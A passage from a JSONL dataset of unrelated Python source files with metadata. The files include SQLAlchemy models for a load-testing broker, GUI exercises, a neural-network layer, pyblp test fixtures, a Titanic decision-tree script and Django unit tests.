Column(Boolean, default=False)\n trigger_url = Column(String, nullable=True)\n project_id = Column(Integer, ForeignKey(\"project.id\"))\n\n container_sets = relationship(\"ContainerSet\", backref=\"strategy\")\n runs = relationship(\"Run\", backref=\"strategy\")\n\n @classmethod\n def load_with_container_sets(cls, session, name):\n \"\"\"Fully load a strategy along with its container sets\"\"\"\n return session.query(cls).\\\n options(subqueryload(cls.container_sets)).\\\n filter_by(name=name).one()\n\n\nclass ContainerSet(Base):\n \"\"\"ContainerSet represents container running information for a set\n of instances.\n\n It represents:\n - What Container to run ('bbangert/push-tester:latest')\n - How many of them to run (200 instances)\n - What instance type to run them on ('r3.large')\n - What region the instances should be in ('us-west-2')\n - Maximum amount of time the container should run (20 minutes)\n - Delay after the run has started before this set should be run\n\n To run alternate configurations of these options (more/less\n instances, different instance types, regions, max time, etc.)\n additional :ref:`ContainerSet`s should be created for a\n strategy.\n\n \"\"\"\n # Basic Collection data\n name = Column(String)\n uuid = Column(String, default=suuid4)\n\n # Triggering data\n # XXX we need default values for all of these\n run_delay = Column(\n Integer,\n doc=\"Delay from start of run before the collection can run.\",\n default=0\n )\n run_max_time = Column(\n Integer,\n doc=\"How long to run this collection for, in seconds.\",\n default=600\n )\n\n # XXX FIXME: Not used at the moment.\n node_delay = Column(\n Integer,\n doc=(\"How many ms to wait before triggering the container on the \"\n \"next node\")\n )\n node_backoff_factor = Column(\n Float,\n doc=\"Backoff factor applied to delay before next node trigger.\"\n )\n\n # AWS parameters\n instance_region = Column(Enum(*AWS_REGIONS), default='us-west-2')\n instance_type = Column(String, default='t1.micro')\n instance_count = Column(Integer, default=1)\n\n # Test container run data\n container_name = Column(String)\n container_url = Column(String)\n environment_data = Column(String, default=\"\")\n additional_command_args = Column(String, default=\"\")\n\n # Container registration options\n dns_name = Column(\n String,\n nullable=True,\n doc=\"Register IP's for these instances to this DNS Name\"\n )\n\n running_container_sets = relationship(\"RunningContainerSet\",\n backref=\"container_set\")\n\n strategy_id = Column(Integer, ForeignKey(\"strategy.id\"))\n\n\nclass RunningContainerSet(Base):\n \"\"\"Links a :ref:`Run` to a :ref:`ContainerSet` to record run\n specific data for utilizing the :ref:`ContainerSet`.\n\n This intermediary table stores actual applications of a\n ContainerSet to a Run, such as when it was created and started so\n that it can be determined when this set of containers should be\n stopped.\n\n \"\"\"\n created_at = Column(DateTime, default=datetime.datetime.utcnow)\n started_at = Column(DateTime, nullable=True)\n completed_at = Column(DateTime, nullable=True)\n\n run_id = Column(ForeignKey(\"run.id\"))\n container_set_id = Column(ForeignKey(\"containerset.id\"))\n\n def should_stop(self):\n \"\"\"Indicates if this running container set should be stopped.\"\"\"\n now = datetime.datetime.utcnow()\n max_delta = datetime.timedelta(seconds=self.container_set.run_max_time)\n return now >= self.started_at + max_delta\n\n def should_start(self):\n \"\"\"Indicates if this container set should be started.\"\"\"\n # XXX Don't return true if it should_stop.\n now = datetime.datetime.utcnow()\n delay_delta = datetime.timedelta(seconds=self.container_set.run_delay)\n return now >= self.run.started_at + delay_delta\n\n\nclass Run(Base):\n uuid = Column(String, default=suuid4)\n state = Column(Integer, default=INITIALIZING)\n\n created_at = Column(DateTime, default=datetime.datetime.utcnow)\n started_at = Column(DateTime, nullable=True)\n completed_at = Column(DateTime, nullable=True)\n\n running_container_sets = relationship(\"RunningContainerSet\",\n backref=\"run\")\n\n strategy_id = Column(Integer, ForeignKey(\"strategy.id\"))\n\n @classmethod\n def new_run(cls, session, strategy_name):\n \"\"\"Create a new run with appropriate running container set\n linkage for a given strategy\"\"\"\n strategy = Strategy.load_with_container_sets(session, strategy_name)\n if not strategy:\n raise LoadsException(\"Unable to locate strategy: %s\" %\n strategy_name)\n\n run = cls()\n run.strategy = strategy\n\n # Setup new running container sets for this strategy\n for container_set in strategy.container_sets:\n cset = RunningContainerSet()\n run.running_container_sets.append(cset)\n cset.container_set = container_set\n\n return run\n\nrun_table = Run.__table__\n\n\nclass Database:\n\n def __init__(self, uri, create=True, echo=False):\n self.engine = create_engine(uri)\n self.session = sessionmaker(bind=self.engine)\n\n # create tables\n if create:\n Base.metadata.create_all(self.engine)\n","sub_path":"loadsbroker/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":8602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"21050374","text":"from exceptions import ClusterException, IndexingException\nfrom utils import create_index\n\n\ndef method(bucket, key, file):\n try:\n index_name = 'index_name'\n index_mapping = 'index_mapping'\n create_index(index_name, index_mapping)\n except ClusterException as e:\n print(e)\n raise ClusterException(e)\n except Exception as e:\n raise IndexingException(e)\n","sub_path":"src/stackoverflow/68203609/src.py","file_name":"src.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"292585663","text":"##Nombre: Ricardo Quinzo\r\n##Fecha: 14/06/2017\r\n\r\nfrom tkinter import *\r\nimport turtle\r\n\r\ndef funcion():\r\n ##Cambio de una ventana a otra\r\n ventana = Toplevel(root)\r\n frame = Frame(ventana)\r\n ventana.title(\"EJERCICIO 1\")\r\n ventana.geometry(\"200x180\")\r\n \r\n t = turtle.Pen()\r\n\r\n def Area():\r\n \r\n total1 = int(num1.get())\r\n total2 = (360/(int(num2.get())))\r\n for i in range(10):\r\n t.forward(total1)\r\n t.right(total2)\r\n \r\n ent1 = IntVar()\r\n ent2 = IntVar()\r\n etiquetan1 = Label(ventana, text=\"1) Largo de la figura\") \r\n etiquetan2 = Label(ventana, text=\"2) Lados de la Figura(1-5)\")\r\n etiquetan3 = Label(ventana, text=\"-3 lados: triangulo\")\r\n etiquetan4 = Label(ventana, text=\"-4 lados: cuadrado\")\r\n etiquetan5 = Label(ventana, text=\"-5 lados: pentagono\")\r\n etiquetan1.pack()\r\n num1 = Entry(ventana, textvariable = ent1)\r\n etiquetan2.pack()\r\n num2 = Entry(ventana, textvariable = ent2)\r\n num1.pack()\r\n num2.pack()\r\n \r\n\r\n etiquetan3.pack()\r\n etiquetan4.pack()\r\n etiquetan5.pack()\r\n\r\n area = Button(ventana, text=\" INGRESE DATOS DE LA FIGURA\",fg = \"red\", command = Area)\r\n\r\n area.pack()\r\n\r\n root.iconify()\r\n\r\n\r\nroot = Tk()\r\nroot.title(\"EXAMEN DE PROGRAMACION\")\r\nroot.geometry(\"640x480\")\r\netiqueta1 = Label(root, text=\"ESCUELA POLITECNICA NACIONAL\",fg = \"black\")\r\netiqueta2 = Label(root, text=\"Examen Programacion Avanzada\")\r\netiqueta3 = Label(root, text=\"2017A\")\r\netiqueta4 = Label(root, text=\"Calcular el área y el perímetro de una figura geométrica de n lados, n<=5\")\r\netiqueta5 = Label(root, text=\"Pulse el boton 1:\")\r\netiqueta1.pack()\r\netiqueta2.pack()\r\netiqueta3.pack()\r\netiqueta4.pack()\r\netiqueta5.pack()\r\nboton = Button(root, text=\"Ejercicio 1\",fg = \"red\", command=funcion)\r\nboton2 = Button(root, text=\"Ejercicio 2\",fg = \"blue\", command=\"2\")\r\nboton.pack()\r\nboton2.pack()\r\nroot.mainloop() \r\n\r\n\r\n","sub_path":"Quinzo.Ricardo.py","file_name":"Quinzo.Ricardo.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"11706071","text":"#-----use wx GUI\nimport wx\nimport wx.py as py\nfrom _globalData import*\n\n\nclass PyConsolePanel(wx.Panel):\n def __init__(self, parent):\n intro = 'Welcome To PyCrust %s - The Flakiest Python Shell' % wx.py.version.VERSION\n self.pyConsole= wx.py.shell.Shell(self, -1, introText=\"fengxEngine\")\n\nclass PyConsoleFrame(wx.Frame):\n def __init__(self, parent, id):\n wx.Frame.__init__(self, parent, id, 'fengxEngine', size=(585, 405),style=wx.DEFAULT_FRAME_STYLE)\n \n \n #---------------main Window settings----->>>>\n self.SetBackgroundColour((225,225,225))#MAIN_BG_COLOR)\n self.icon = wx.Icon(ICON_PATH, wx.BITMAP_TYPE_ICO)\n self.SetIcon(self.icon)\n # intro = 'Welcome To PyCrust %s - The Flakiest Python Shell' % py.version.VERSION\n # #l4 = wx.StaticText(self, -1, \"Rich Text\")\n # t4 = wx.TextCtrl(self,-1, \"If supported by the native control, this is red, and this is a different font.\",\n # style=wx.TE_MULTILINE|wx.TE_RICH2,pos=(-3,-3) )\n # # t4.SetInsertionPoint(0)\n # # t4.SetStyle(44, 47, wx.TextAttr((120,120,120), wx.NullColour))\n # # points = t4.GetFont().GetPointSize() # get the current size\n # # f = wx.Font(points+3, wx.ROMAN, wx.ITALIC, wx.BOLD, True)\n # # t4.SetStyle(63, 77, wx.TextAttr(\"BLUE\", wx.NullColour, f))\n # t4.SetBackgroundColour((67,67,67))\n # t4.SetForegroundColour((120,120,120))\n # box1_title = wx.StaticBox( self, -1, \" \" )\n # box1 = wx.StaticBoxSizer( box1_title, wx.VERTICAL )\n # box1 = wx.BoxSizer(wx.VERTICAL)\n \n \n \n # box.Add(SampleWindow(win, \"one\"), 1, wx.ALIGN_TOP)\n # box.Add(SampleWindow(win, \"two\"), 1, wx.EXPAND)\n # box.Add(SampleWindow(win, \"three\"), 1, wx.ALIGN_CENTER)\n \n # box1.Add( t4, 0, wx.EXPAND|wx.ALL, 5 )\n # self.SetSizer(box1)\n # box1.Fit( self )\n\n # self.tc=wx.TextCtrl(self, -1, \"Multi-line\",style=wx.TE_NO_VSCROLL)\n # self.tc.size=(100,300)\n # self.bg=wx.Panel(self,size=(900,900))\n self.pyConsole= py.crust.Crust(self)\n #self.bg.Bind(wx.EVT_PAINT, self.OnPaint)\n \n\n\n \n # #set icon\n # try:\n # self.tbicon = TB_Icon(self)\n # except:\n # self.tbicon = None\n def OnPaint(self, evt):\n pdc = wx.PaintDC(self)\n try:\n dc = wx.GCDC(pdc)\n except:\n dc = pdc\n # rect = wx.Rect(0,0, 100, 100)\n # for RGB, pos in [((178, 34, 34), ( 50, 90)),\n # (( 35, 142, 35), (110, 150)),\n # (( 0, 0, 139), (170, 90))\n # ]:\n # r, g, b = RGB\n # penclr = wx.Colour(r, g, b, wx.ALPHA_OPAQUE)\n # brushclr = wx.Colour(r, g, b, 128) # half transparent\n # dc.SetPen(wx.Pen(penclr))\n # dc.SetBrush(wx.Brush(brushclr))\n # rect.SetPosition(pos)\n # dc.DrawRoundedRectangleRect(rect, 8)\n \n # some additional testing stuff\n dc.SetPen(wx.Pen(wx.Colour(0,0,255, 196)))\n dc.SetBrush(wx.Brush(wx.Colour(0,0,255, 64)))\n dc.DrawCircle(50, 275, 25)\n dc.DrawEllipse(100, 275, 75, 50)\n \n\nif __name__ == '__main__':\n EN_Dic = {\n \"grap\" : \"&Grap\",\n \"save\" : \"&Save\",\n \"show\" : \"Show\",\n \"hide\" : \"Hide\",\n \"show_all_windows\" : \"Show All &Window\",\n \"hide_all_windows\" : \"&Hide All Window\",\n \"close\" : \"&Close\",\n \"delete\" : \"&Delete\",\n \"exit\" : \"&Exit\",\n \"delete_all_images\" : \"Delete All &Images\",\n \"show_in_explorer\" : \"Show In &Explorer\",\n \"reset_position\" : \"&Reset Position\",\n \"hide_others\" : \"Hide &Others\"\n }\n\n mainApp = wx.PySimpleApp()\n newFrame = PyConsoleFrame(parent=None, id=-1)\n newFrame.Show()\n #newFrame.SetBackgroundColour((120,120,120))\n mainApp.MainLoop()\n","sub_path":"PyConsole.py","file_name":"PyConsole.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"377054905","text":"import numpy as np\n\n\nclass Layer(object):\n def __init__(self, num_units,prev_shape, activation_type, weights=None, bias=None, learn_rate=0.01):\n self._bias = bias\n if self._bias is None:\n self._bias = np.zeros((num_units, 1))\n\n self._weights = weights\n if weights is None:\n self._weights = np.random.randn(num_units, prev_shape[0]) * 0.01\n self._learn_rate = learn_rate\n self._activation = None\n self._activation_func = activation_type\n self._activation_cache = None\n self._d_activation = None\n self._Z = None\n self._prev_output = None\n self._dataset_size = prev_shape[1]\n self._intermediate_results = {}\n \n @property\n def weights(self):\n return self._weights\n\n @property\n def bias(self):\n return self._bias\n\n @property\n def activation(self):\n return self._activation\n\n @property\n def d_activation(self):\n return self._d_activation\n\n @property\n def intermediate_results(self):\n return self._intermediate_results\n\n def forward(self, prev_output):\n self._prev_output = prev_output\n self._Z = np.dot(self._weights, self._prev_output) + self._bias\n self._intermediate_results[\"Z\"] = self._Z\n self._activation_cache = self._activation_func(self._Z)\n self._activation = self._activation_cache.forward()\n return self._activation\n\n def backward(self, prev_d_activation):\n dZ = prev_d_activation * self._activation_cache.backward()\n self._intermediate_results[\"dZ\"] = dZ\n dW = np.dot(dZ, self._prev_output.T)/self._dataset_size\n self._intermediate_results[\"dW\"] = dW\n db = np.sum(dZ, axis=1, keepdims=True)/self._dataset_size\n self._intermediate_results[\"db\"] = db\n self._d_activation = np.dot(self.weights.T, dZ)\n self._intermediate_results[\"d_activation\"] = self._d_activation\n self._update_params(dW, db)\n return self._d_activation\n\n def _update_params(self, d_weights, d_bias):\n self._weights = self._weights - self._learn_rate*d_weights\n self._bias = self._bias - self._learn_rate*d_bias\n","sub_path":"epsilonml/support.py","file_name":"support.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"260943799","text":"import unittest\nfrom factorial import fact\n\nclass TestFactorial(unittest.TestCase):\n \"\"\"\n Our basic test class\n \"\"\"\n\n def test_fact(self):\n \"\"\"\n The actual test.\n Any method which starts with ``test_`` will considered as a test case.\n \"\"\"\n res = fact(1)\n self.assertEqual(res, 1)\n\n def test_negative(self):\n \"\"\"\n factorial should fail with negative numbers\n \"\"\"\n res= fact(-3)\n self.assertRaises(fact.NegativeNumberError)\n \nif __name__ == \"__main__\":\n unittest.main()","sub_path":"test_factorial.py","file_name":"test_factorial.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"431730502","text":"from flask import Flask\nfrom rest.lidar_service import LidarSquareEndpoint\n\napp = Flask(__name__)\napp.add_url_rule('/lidarSquare', view_func=LidarSquareEndpoint.as_view('lidarSquare'))\n\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run(host='0.0.0.0')","sub_path":"lidar_gut/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"387126764","text":"\"\"\"Fixtures used by tests.\"\"\"\n\nimport os\nimport re\nfrom pathlib import Path\n\nimport patsy\nimport pytest\nimport scipy.io\nimport numpy as np\nimport numpy.lib.recfunctions\n\nfrom .data import TEST_DATA_PATH\nfrom pyblp.data import BLP_PRODUCTS_LOCATION, BLP_AGENTS_LOCATION\nfrom pyblp import (\n Problem, Simulation, Formulation, Integration, options, build_id_data, build_ownership, build_blp_instruments\n)\n\n\n@pytest.fixture(autouse=True)\ndef configure():\n \"\"\"Configure NumPy so that it raises all warnings as exceptions, and, if a DTYPE environment variable is set in this\n testing environment that is different from the default data type, use it for all numeric calculations.\n \"\"\"\n old_error = np.seterr(all='raise')\n old_dtype = options.dtype\n dtype_string = os.environ.get('DTYPE')\n if dtype_string:\n options.dtype = np.dtype(dtype_string)\n if np.finfo(options.dtype).dtype == old_dtype:\n pytest.skip(f\"The {dtype_string} data type is the same as the default one in this environment.\")\n yield\n options.dtype = old_dtype\n np.seterr(**old_error)\n\n\n@pytest.fixture\ndef small_simulation():\n \"\"\"Solve a simulation with two markets, linear prices, a nonlinear characteristic, a cost characteristic, and an\n acquisition.\n \"\"\"\n simulation = Simulation(\n product_formulations=(\n Formulation('0 + prices'),\n Formulation('0 + x'),\n Formulation('0 + a')\n ),\n beta=-5,\n sigma=1,\n gamma=2,\n product_data=build_id_data(T=2, J=18, F=3, mergers=[{1: 0}]),\n integration=Integration('product', 3),\n xi_variance=0.001,\n omega_variance=0.001,\n correlation=0.7,\n seed=0\n )\n clustering_ids = np.random.choice(['a', 'b'], simulation.N)\n product_data = np.lib.recfunctions.rec_append_fields(simulation.solve(), 'clustering_ids', clustering_ids)\n return simulation, product_data\n\n\n@pytest.fixture\ndef medium_simulation():\n \"\"\"Solve a simulation with four markets, a nonlinear/cost constant, two linear characteristics, two cost\n characteristics, a demographic interacted with second-degree prices, a double acquisition, and a non-standard\n ownership structure.\n \"\"\"\n id_data = build_id_data(T=4, J=25, F=6, mergers=[{f: 2 for f in range(2)}])\n simulation = Simulation(\n product_formulations=(\n Formulation('0 + x + y'),\n Formulation('1 + I(prices ** 2)'),\n Formulation('1 + a + b')\n ),\n beta=[2, 1],\n sigma=[\n [0.5, 0],\n [0, 0],\n ],\n gamma=[1, 1, 2],\n product_data={\n 'market_ids': id_data.market_ids,\n 'firm_ids': id_data.firm_ids,\n 'ownership': build_ownership(id_data, lambda f, g: 1 if f == g else (0.1 if f > 3 and g > 3 else 0))\n },\n agent_formulation=Formulation('0 + f'),\n pi=[\n [ 0],\n [-3]\n ],\n integration=Integration('product', 4),\n xi_variance=0.0001,\n omega_variance=0.0001,\n correlation=0.8,\n seed=1\n )\n clustering_ids = np.random.choice(['a', 'b', 'c'], simulation.N)\n product_data = np.lib.recfunctions.rec_append_fields(simulation.solve(), 'clustering_ids', clustering_ids)\n return simulation, product_data\n\n\n@pytest.fixture\ndef large_simulation():\n \"\"\"Solve a simulation with ten markets, linear/nonlinear prices, a linear constant, a cost/linear/nonlinear\n characteristic, another three cost characteristics, another two linear characteristics, demographics interacted with\n prices and the cost/linear/nonlinear characteristic, dense parameter matrices, an acquisition, a triple acquisition,\n and a log-linear cost specification.\n \"\"\"\n simulation = Simulation(\n product_formulations=(\n Formulation('1 + prices + x + y + z'),\n Formulation('0 + prices + x'),\n Formulation('0 + log(x) + a + b + c')\n ),\n beta=[1, -6, 1, 2, 3],\n sigma=[\n [1, -0.1],\n [0, 2 ]\n ],\n gamma=[0.1, 0.2, 0.3, 0.5],\n product_data=build_id_data(T=10, J=20, F=9, mergers=[{f: 4 + int(f > 0) for f in range(4)}]),\n agent_formulation=Formulation('0 + f + g'),\n pi=[\n [1, 0],\n [0, 2]\n ],\n integration=Integration('product', 4),\n xi_variance=0.00001,\n omega_variance=0.00001,\n correlation=0.9,\n linear_costs=False,\n seed=2\n )\n clustering_ids = np.random.choice(['a', 'b', 'c', 'd'], simulation.N)\n product_data = np.lib.recfunctions.rec_append_fields(simulation.solve(), 'clustering_ids', clustering_ids)\n return simulation, product_data\n\n\n@pytest.fixture(params=[\n pytest.param(['small', False], id=\"small without supply\"),\n pytest.param(['small', True], id=\"small with supply\"),\n pytest.param(['medium', False], id=\"medium without supply\"),\n pytest.param(['medium', True], id=\"medium with supply\"),\n pytest.param(['large', False], id=\"large without supply\"),\n pytest.param(['large', True], id=\"large with supply\")\n])\ndef simulated_problem(request):\n \"\"\"Configure and solve a simulated problem, either with or without supply-side data.\"\"\"\n name, supply = request.param\n simulation, product_data = request.getfixturevalue(f'{name}_simulation')\n product_formulations = simulation.product_formulations\n if not supply:\n product_data = np.lib.recfunctions.rec_drop_fields(product_data, 'supply_instruments')\n product_formulations = product_formulations[:2]\n problem = Problem(product_formulations, product_data, simulation.agent_formulation, simulation.agent_data)\n results = problem.solve(simulation.sigma, simulation.pi, steps=1, linear_costs=simulation.linear_costs)\n return simulation, product_data, problem, results\n\n\n@pytest.fixture\ndef knittel_metaxoglou_2014():\n \"\"\"Configure the example automobile problem from Knittel and Metaxoglou (2014) and load initial parameter values and\n estimates created by replication code.\n\n The replication code was modified to output a Matlab data file for the automobile dataset, which contains the\n results of one round of Knitro optimization and post-estimation calculations. The replication code was kept mostly\n intact, but was modified slightly in the following ways:\n\n - Tolerance parameters, Knitro optimization parameters, and starting values for sigma were all configured.\n - A bug in the code's computation of the BLP instruments was fixed. When creating a vector of \"other\" and\n \"rival\" sums, the code did not specify a dimension over which to sum, which created problems with one-\n dimensional vectors. A dimension of 1 was added to both sum commands.\n - Delta was initialized as the solution to the Logit model.\n - After estimation, the objective was called again at the optimal parameters to re-load globals at the optimal\n parameter values.\n - Before being saved to a Matlab data file, matrices were renamed and reshaped.\n\n \"\"\"\n product_data = np.recfromcsv(BLP_PRODUCTS_LOCATION)\n product_data = {n: product_data[n] for n in product_data.dtype.names}\n product_data['demand_instruments'] = build_blp_instruments(Formulation('hpwt + air + mpg + space'), product_data)\n problem = Problem(\n product_formulations=(\n Formulation('0 + prices + I(1) + hpwt + air + mpg + space'),\n Formulation('0 + prices + I(1) + hpwt + air + mpg')\n ),\n product_data=product_data,\n agent_data=np.recfromcsv(BLP_AGENTS_LOCATION)\n )\n return scipy.io.loadmat(str(TEST_DATA_PATH / 'knittel_metaxoglou_2014.mat'), {'problem': problem})\n\n\n@pytest.fixture(params=[pytest.param(p, id=p.name) for p in Path(TEST_DATA_PATH / 'nwspgr').iterdir()])\ndef nwspgr(request):\n \"\"\"Load a sample of sparse grids of nodes and weights constructed according to the Gauss-Hermite quadrature rule and\n its nested analog, which were computed by the Matlab function nwspgr by Florian Heiss and Viktor Winschel.\n \"\"\"\n rule, dimensions, level = re.search(r'(GQN|KPN)_d(\\d+)_l(\\d+)', request.param.name).groups()\n matrix = np.atleast_2d(np.genfromtxt(request.param, delimiter=','))\n nested = rule == 'KPN'\n nodes = matrix[:, :-1]\n weights = matrix[:, -1]\n return int(dimensions), int(level), nested, nodes, weights\n\n\n@pytest.fixture(params=[pytest.param(1, id=\"1 observation\"), pytest.param(10, id=\"10 observations\")])\ndef formula_data(request):\n \"\"\"Simulate patsy demo data with two-level categorical variables and varying numbers of observations.\"\"\"\n raw_data = patsy.user_util.demo_data('a', 'b', 'c', 'x', 'y', 'z', nlevels=2, min_rows=request.param)\n return {k: np.array(v) if isinstance(v[0], str) else np.abs(v) for k, v in raw_data.items()}\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":8912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"578721070","text":"#!/usr/bin/env python\nfrom os.path import expanduser\nfrom subprocess import Popen, check_output, PIPE\n\n# Find emojis list file\nemoji_src = expanduser(\n \"~/Coding/Scripts/emojis\")\n# Pass it to rofi\ncat_emoji = Popen(\n [\"cat\", emoji_src],\n stdout=PIPE)\nemoji = check_output(\n [\"rofi\", \"-dmenu\", \"-i\", \"-p\", \"emojis\"],\n stdin = cat_emoji.stdout).decode('utf8')\n# Convert to unicode and retain only \n# emoji\nk = emoji.find(\" \")\nemoji = emoji[:k]\n\n# Insert the emoji\ninsertEmoji = [\n \"xdotool\", \"type\",\n \"--clearmodifiers\",\n emoji]\nPopen(insertEmoji)\n","sub_path":"emojis.py","file_name":"emojis.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"362036672","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn import tree\nimport math\nfrom sklearn.model_selection import train_test_split\n\n#Load the csv file into pandas dataframe.\ndf = pd.read_csv(\"titanic.csv\")\n\n#Defining a function that allows us to view all of the columns that are present in a pandas dataframe.\n#Now if we print a dataframe, it will look much more complete.\ndef set_pandas_options() -> None:\n pd.options.display.max_columns = 1000\n pd.options.display.max_rows = 1000\n pd.options.display.max_colwidth = 199\n pd.options.display.width = None\n\n#Now calling the function that is above.\nset_pandas_options()\n\n#Dropping many columns from the dataframe and storing it in a variable.\ninputs = df.drop(['PassengerId', 'Name', 'SibSp', 'Parch', 'Ticket', 'Cabin', 'Embarked', 'Survived'], axis='columns')\n\n#This stores the column 'Survived' (the values we want to predict) into a variable.\ntarget_var = df['Survived']\n\n#This sets up the LabelEncoder we will use for encoding the values within the column \"Sex\".\nle_Sex = LabelEncoder()\n\n#This creates a new column, 'Sex_New' which has all of the string data encoded into integers.\n#This is done through using LabelEncoder to transform the data.\ninputs['Sex_New'] = le_Sex.fit_transform(inputs['Sex'])\n\n#This drops the Sex column as we already have this column encoded and added onto the inputs dataframe.\ninputs.drop(['Sex'], axis='columns', inplace=True)\n\n#Finding the average age and rounding it up with the Math module.\ng = math.ceil(df['Age'].mean())\n\n#Replace NaN (not available) values for specific columns with whatever value I want the dataframe to show instead.\nNew_Inputs = inputs.fillna({'Age': g})\n\n#X has all the relevant columns except 'Survived', because we want to predict whether someone Survived or not based on the X input.\nX = New_Inputs\n\n#This is what we want to predict. The survived column will get stored in y.\ny = target_var\n\n#Stores the Decision Tree Classifier model into a variable.\nModel = tree.DecisionTreeClassifier()\n\n#Preparing to train the Decision Tree Classifier model. Splitting the data set: 20% for testing and 80% for training.\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n\n#Training the Decision Tree Classifier model with the split data sets.\nModel.fit(X_train, y_train)\n\n#Prints the accuracy of the model.\nprint(Model.score(X_test, y_test))\n\n\n\n","sub_path":"Decision-Tree-Classification/Decision-Tree-Classification-Main.py","file_name":"Decision-Tree-Classification-Main.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"468528757","text":"#Autor: Anayansi Alexia Tafoya Soto\n#Programa que calcule el area y el perimetro de un trapecio.\n\n#Función para calcular el área del trapecio\ndef calcularArea (a, b, h):\n area = ((a + b) /2 ) * h\n return area\n\n#Función para calcular el perimetro del trapecio\ndef calcularPerimetro (a, b, h):\n perimetro = ((((a-b)/2)**2 + h**2)**0.5)*2 + a + b\n return perimetro\n\n#Función principal\ndef main ():\n baseMayor = int (input (\"Escribe la longitud de la base mayor: \"))\n baseMenor = int (input (\"Escribe la longitud de la base menor: \"))\n altura = int (input (\"Escribe la altura: \"))\n \n #LLama a función\n Area = calcularArea (baseMayor, baseMenor, altura)\n Perimetro = calcularPerimetro (baseMayor, baseMenor, altura)\n \n #Imprimir\n print (\"Área: %.2f\" % (Area))\n print (\"Perimetro: %.2f\" % (Perimetro))\n \n \n#Llamar a función main\nmain()\n ","sub_path":"Misión_03/Trapecio.py","file_name":"Trapecio.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"199038207","text":"n = int(input(\"введите число \"))\n\nsieve = [i for i in range(n)]\nsieve[1] = 0\n\nfor i in range(2, n):\n\n if sieve[i] != 0:\n j = i * 2\n\n while j < n:\n sieve[j] = 0\n j += i\n\nresult = [i for i in sieve if i != 0]\nprint(result)","sub_path":"lesson_2/eratosphen_alg.py","file_name":"eratosphen_alg.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"342581413","text":"from django.test import TestCase\nfrom django.test import Client\nfrom base.models import Course, Department, College, CommunityPartner, Project, Enrollment, Semester\nfrom django.contrib.auth.models import User\nimport json\nfrom datetime import datetime\n\nclass CourseTests(TestCase):\n\n def setUp(self):\n self.client = Client()\n self.college = College(\"hello\")\n self.college.save()\n self.department = Department(\"test\", self.college.name)\n self.department.save()\n\n def test_good_get(self):\n course = Course(\"CS4500\", \"Software Dev\", self.department.name)\n course.save()\n get_course = self.client.get('/course/' + course.id + '/')\n self.assertEqual(get_course.status_code, 200)\n c_json_string = json.loads(get_course.content.decode('utf-8'))\n self.assertEqual(c_json_string['id'], course.id)\n self.assertEqual(c_json_string['name'], course.name)\n\n def test_bad_get(self):\n get_course = self.client.get('/course/FZ9999/')\n self.assertEqual(get_course.status_code, 404)\n\n def test_good_post(self):\n course = self.client.post('/course/',\n {\n \"id\": \"CS4500\",\n \"name\": \"Software Dev\",\n \"department\": self.department.name\n })\n self.assertEqual(course.status_code, 201)\n c_json_string = json.loads(course.content.decode('utf-8'))\n self.assertEqual(c_json_string['id'], \"CS4500\")\n self.assertEqual(c_json_string['name'], \"Software Dev\")\n self.assertEqual(c_json_string['department'], \"test\")\n\n def test_bad_post_no_id(self):\n course = self.client.post('/course/',\n {\n \"name\": \"Software Dev\",\n \"department\": self.department.name\n })\n self.assertEqual(course.status_code, 400)\n\n def test_bad_post_no_name(self):\n course = self.client.post('/course/',\n {\n \"id\": \"CS4500\",\n \"department\": self.department.name\n })\n self.assertEqual(course.status_code, 400)\n\n def test_bad_post_no_department(self):\n course = self.client.post('/course/',\n {\n \"id\": \"CS4500\",\n \"name\": \"Software Dev\"\n })\n self.assertEqual(course.status_code, 400)\n\n def test_get_all_courses(self):\n course = Course(\"CS4500\", \"Software Dev\", self.department.name)\n course.save()\n get_courses = self.client.get('/courses/')\n self.assertEqual(get_courses.status_code, 200)\n c_json_string = json.loads(get_courses.content.decode('utf-8'))\n self.assertEqual(c_json_string[0]['id'], course.id)\n\n def test_get_all_course_projects(self):\n course = Course(\"CS4500\", \"Software Dev\", self.department.name)\n course.save()\n community_partner = CommunityPartner(name=\"partner\")\n community_partner.save()\n project = Project(name=\"project\", course=course, community_partner=community_partner, start_date=datetime.now(), end_date=datetime.now())\n project.save()\n get_projects = self.client.get('/course/' + course.id + '/projects/')\n self.assertEqual(get_projects.status_code, 200)\n json_string = json.loads(get_projects.content.decode('utf-8'))\n self.assertEqual(json_string[0]['name'], project.name)\n\n def test_get_all_course_instructors(self):\n course = Course(\"CS4500\", \"Software Dev\", self.department.name)\n course.save()\n user = User(username=\"ek@neu.edu\", email=\"ek@neu.edu\", password=\"password1\")\n user.save()\n semester = Semester(name=\"sem\", start_date=datetime.now(), 